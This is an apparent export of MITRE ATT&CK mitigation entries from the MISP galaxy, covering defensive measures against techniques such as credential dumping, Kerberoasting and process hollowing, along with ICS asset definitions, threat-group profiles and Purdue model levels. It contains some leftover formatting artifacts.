Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting
access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS’s App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android’s Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

Accessibility Features Mitigation - T1015

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before
the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Security) (Citation: NIST Server Security July 2008)

Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Threat Intelligence Program - M1019

A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.

The tag is: misp-galaxy:mitre-course-of-action="Threat Intelligence Program - M1019"
Threat Intelligence Program - M1019 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

### Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data Encrypted Mitigation - T1022"

Data Encrypted Mitigation - T1022 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

### Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as
Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misg-galaxy:mitre-course-of-action*="Shortcut Modification Mitigation - T1023"

Shortcut Modification Mitigation - T1023 has relationships with:

### User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: *misg-galaxy:mitre-course-of-action*="User Execution Mitigation - T1204"
Restrict Registry Permissions - M1024

Restrict the ability to modify certain hives or keys in the Windows Registry.

The tag is: `misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"`

Restrict Registry Permissions - M1024 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

**Multiband Communication Mitigation - T1026**

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

**Time Providers Mitigation - T1209**

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

Scheduled Transfer Mitigation - T1029

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule
tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Process Hollowing Mitigation - T1093

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on...
individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: mitre-course-of-action="Create Account Mitigation - T1136"

Create Account Mitigation - T1136 has relationships with:

**Application Shimming Mitigation - T1138**

There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: mitre-course-of-action="Application Shimming Mitigation - T1138"

</table>

**Spearphishing Attachment Mitigation - T1193**

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a
best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: `misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"`

**Hidden Users Mitigation - T1147**

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the `<code>/Library/Preferences/com.apple.loginwindow</code>` `<code>Hide500Users</code>` value will force all users to be visible.

The tag is: misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"

Hidden Users Mitigation - T1147 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"
**SSH Hijacking Mitigation - T1184**

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

**Process Doppelgänging Mitigation - T1186**

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Process Doppelgänging Mitigation - T1186"`

Process Doppelgänging Mitigation - T1186 has relationships with:

**Table 3204. Table References**
LSASS Driver Mitigation - T1177

On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key `<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>` to `<code>dword:00000001</code>`. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled `<code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code>` to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)

</table>
**Forced Authentication Mitigation - T1187**

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

Application Vetting - M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting.

The tag is: `misp-galaxy:mitre-course-of-action="Application Vetting - M1005"`

DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"

DCShadow Mitigation - T1207 has relationships with:

Kerberoasting Mitigation - T1208

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: misp-galaxy:mitre-course-of-action="PowerShell Mitigation - T1086"

PowerShell Mitigation - T1086 has relationships with:

Timestomp Mitigation - T1099

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.

The tag is: `misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"`

Trap Mitigation - T1154 has relationships with:

Table 3252. Table References

HISTCONTROL Mitigation - T1148

Prevent users from changing the `<code>HISTCONTROL</code>` environment variable (Citation: Securing bash history). Also, make sure that the `<code>HISTCONTROL</code>` environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: `misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"`

HISTCONTROL Mitigation - T1148 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"` with estimative-language:likelihood-probability="almost-certain"
Defacement Mitigation - T1491

Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

The tag is: `misp-galaxy:mitre-course-of-action="Defacement Mitigation - T1491"`

Defacement Mitigation - T1491 has relationships with:

- **mitigates**: `misp-galaxy:mitre-attack-pattern="Defacement - T1491"` with estimative-language:likelihood-probability="almost-certain"
- **mitigates**: `misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"` with estimative-language:likelihood-probability="almost-certain"
- **mitigates**: `misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002"` with estimative-language:likelihood-probability="almost-certain"

AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.

The tag is: `misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"`

AppleScript Mitigation - T1155 has relationships with:

- **mitigates**: `misp-galaxy:mitre-attack-pattern="AppleScript - T1155"` with estimative-language:likelihood-probability="almost-certain"
Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"

Sudo Mitigation - T1169 has relationships with:

Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"

Hooking Mitigation - T1179 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"

Antivirus/Antimalware - M1049

Use signatures or heuristics to detect malicious software.

The tag is: misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1049"
Antivirus/Antimalware - M1049 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

authors

MITRE

Control Server

A device which acts as both a server and controller, that hosts the control software used in communicating with lower-level control devices in an ICS network (e.g. Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs)).
Data Historian

A centralized database located on a computer installed in the control system DMZ supporting external corporate user data access for archival and analysis using statistical process control and other techniques.

Engineering Workstation

The engineering workstation is usually a high-end very reliable computing platform designed for configuration, maintenance and diagnostics of the control system applications and other control system equipment. The system is usually made up of redundant hard disk drives, high speed network interface, reliable CPUs, performance graphics hardware, and applications that provide configuration and monitoring tools to perform control system application development, compilation and distribution of system modifications.

Field Controller/RTU/PLC/IED

Controller terminology depends on the type of system they are associated with. They provide typical processing capabilities. Controllers, sometimes referred to as Remote Terminal Units (RTU) and Programmable Logic Controllers (PLC), are computerized control units that are typically rack or panel mounted with modular processing and interface cards. The units are collocated with the process equipment and interface through input and output modules to the various sensors and controlled devices. Most utilize a programmable logic-based application that provides scanning and writing of data to and from the IO interface modules and communicates with the control system network via various communications methods, including serial and network communications.

Human-Machine Interface

In computer science and human-computer interaction, the Human-Machine Interface (HMI) refers to the graphical, textual and auditory information the program presents to the user (operator).
using computer monitors and audio subsystems, and the control sequences (such as keystrokes with the computer keyboard, movements of the computer mouse, and selections with the touchscreen) the user employs to control the program. Currently the following types of HMI are the most common: Graphical user interfaces (GUI) accept input via devices such as computer keyboard and mouse and provide articulated graphical output on the computer monitor. Web-based user interfaces accept input and provide output by generating web pages which are transported via the network and viewed by the user using a web browser program. The operations user must be able to control the system and assess the state of the system. Each control system vendor provides a unique look-and-feel to their basic HMI applications. An older, not gender-neutral version of the term is man-machine interface (MMI). The system may expose several user interfaces to serve different kinds of users. User interface screens may be optimized to provide the appropriate information and control interface to operations users, engineering users and management users.

The tag is: misp-galaxy:mitre-ics-assets="Human-Machine Interface"

**Input/Output Server**

The Input/Output (I/O) server provides the interface between the control system LAN applications and the field equipment monitored and controlled by the control system applications. The I/O server, sometimes referred to as a Front-End Processor (FEP) or Data Acquisition Server (DAS), converts the control system application data into packets that are transmitted over various types of communications media to the end device locations. The I/O server also converts data received from the various end devices over different communications mediums into data formatted to communicate with the control system networked applications.

The tag is: misp-galaxy:mitre-ics-assets="Input/Output Server"

**Safety Instrumented System/Protection Relay**

A safety instrumented system (SIS) takes automated action to keep a plant in a safe state, or to put it into a safe state, when abnormal conditions are present. The SIS may implement a single function or multiple functions to protect against various process hazards in your plant. The function of protective relaying is to cause the prompt removal from service of an element of a power system when it suffers a short circuit or when it starts to operate in any abnormal manner that might cause damage or otherwise interfere with the effective operation of the rest of the system.

The tag is: misp-galaxy:mitre-ics-assets="Safety Instrumented System/Protection Relay"

**Groups**

Groups are sets of related intrusion activity that are tracked by a common name in the security community. Groups are also sometimes referred to as campaigns or intrusion sets. Some groups have multiple names associated with the same set of activities due to various organizations tracking the same set of activities by different names. Groups are mapped to publicly reported technique use and referenced in the ATT&CK for ICS knowledge base. Groups are also mapped to reported software used during intrusions.
Groups is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

MITRE

ALLANITE

ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to Dragonfly / Dragonfly 2.0, although ALLANITE's technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.

The tag is: misp-galaxy:mitre-ics-groups="ALLANITE"

</table>
**Dragonfly**

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. A similar group emerged in 2015 and was identified by Symantec as Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: `misp-galaxy:mitre-ics-groups="Dragonfly"`

</table>

**Dragonfly 2.0**

Dragonfly 2.0 is a suspected Russian threat group which has been active since at least late 2015. Dragonfly 2.0's initial reported targets were a part of the energy sector, located within the United States, Switzerland, and Turkey. There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.

**HEXANE**

HEXANE is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle
East including Kuwait. HEXANE’s targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE’s TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.

### Lazarus group

Lazarus group is a suspected North Korean adversary group that has targeted networks associated with civilian electric energy in Europe, East Asia, and North America. Links have been established associating this group with the WannaCry ransomware from 2017.3 While WannaCry was not an ICS focused attack, Lazarus group is considered to be a threat to ICS. North Korean group definitions are known to have significant overlap, and the name Lazarus Group is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. Some organizations track North Korean clusters or groups such as Bluenoroff, APT37, and APT38 separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

The tag is: misp-galaxy:mitre-ics-groups="Lazarus group"

**Levels**

Based on the Purdue Model to aid ATT&CK for ICS users to understand which techniques are applicable to their environment.

Levels is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

MITRE
Level 0
The I/O network level includes the actual physical processes and sensors and actuators that are directly connected to process equipment.

The tag is: misp-galaxy:mitre-ics-levels="Level 0"

Level 1
The control network level includes the functions involved in sensing and manipulating physical processes. Typical devices at this level are programmable logic controllers (PLCs), distributed control systems, safety instrumented systems and remote terminal units (RTUs).

The tag is: misp-galaxy:mitre-ics-levels="Level 1"

Level 2
